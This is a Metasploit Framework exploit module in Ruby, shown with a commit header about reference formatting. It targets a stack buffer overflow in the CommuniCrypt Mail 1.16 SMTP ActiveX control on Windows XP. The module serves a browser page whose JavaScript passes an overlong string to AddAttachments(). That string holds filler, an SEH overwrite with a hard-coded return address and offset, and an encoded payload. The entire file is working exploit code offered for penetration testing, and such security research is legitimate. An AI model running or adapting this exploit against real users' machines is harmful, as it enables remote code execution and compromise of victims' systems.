Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
102 lines
2.5 KiB
Ruby
102 lines
2.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the ANSMTP.dll/AOSMTP.dll
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ActiveX Control provided by CommuniCrypt Mail 1.16. By sending a overly
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long string to the "AddAttachments()" method, an attacker may be able to
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execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Lincoln', # Original exploit author
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'dookie' # MSF module author
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '64839' ],
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[ 'EDB', '12663' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Universal', { 'Offset' => 284, 'Ret' => 0x1001e41c } ], #p/p/r in AOSMTP.dll
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],
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'DisclosureDate' => 'May 19 2010',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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filler = rand_text_alpha(target['Offset'])
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seh = generate_seh_payload(target.ret)
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trailer = rand_text_alpha(1000 - p.encoded.length)
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sploit = filler + seh + p.encoded + trailer
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# Build out the message
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content = %Q|<html>
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<object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='#{vname}'></object>
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<script language='javascript'>
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var #{vname} = document.getElementById('#{vname}');
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var #{strname} = new String('#{sploit}');
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#{vname}.AddAttachments(#{strname});
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</script>
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</html>
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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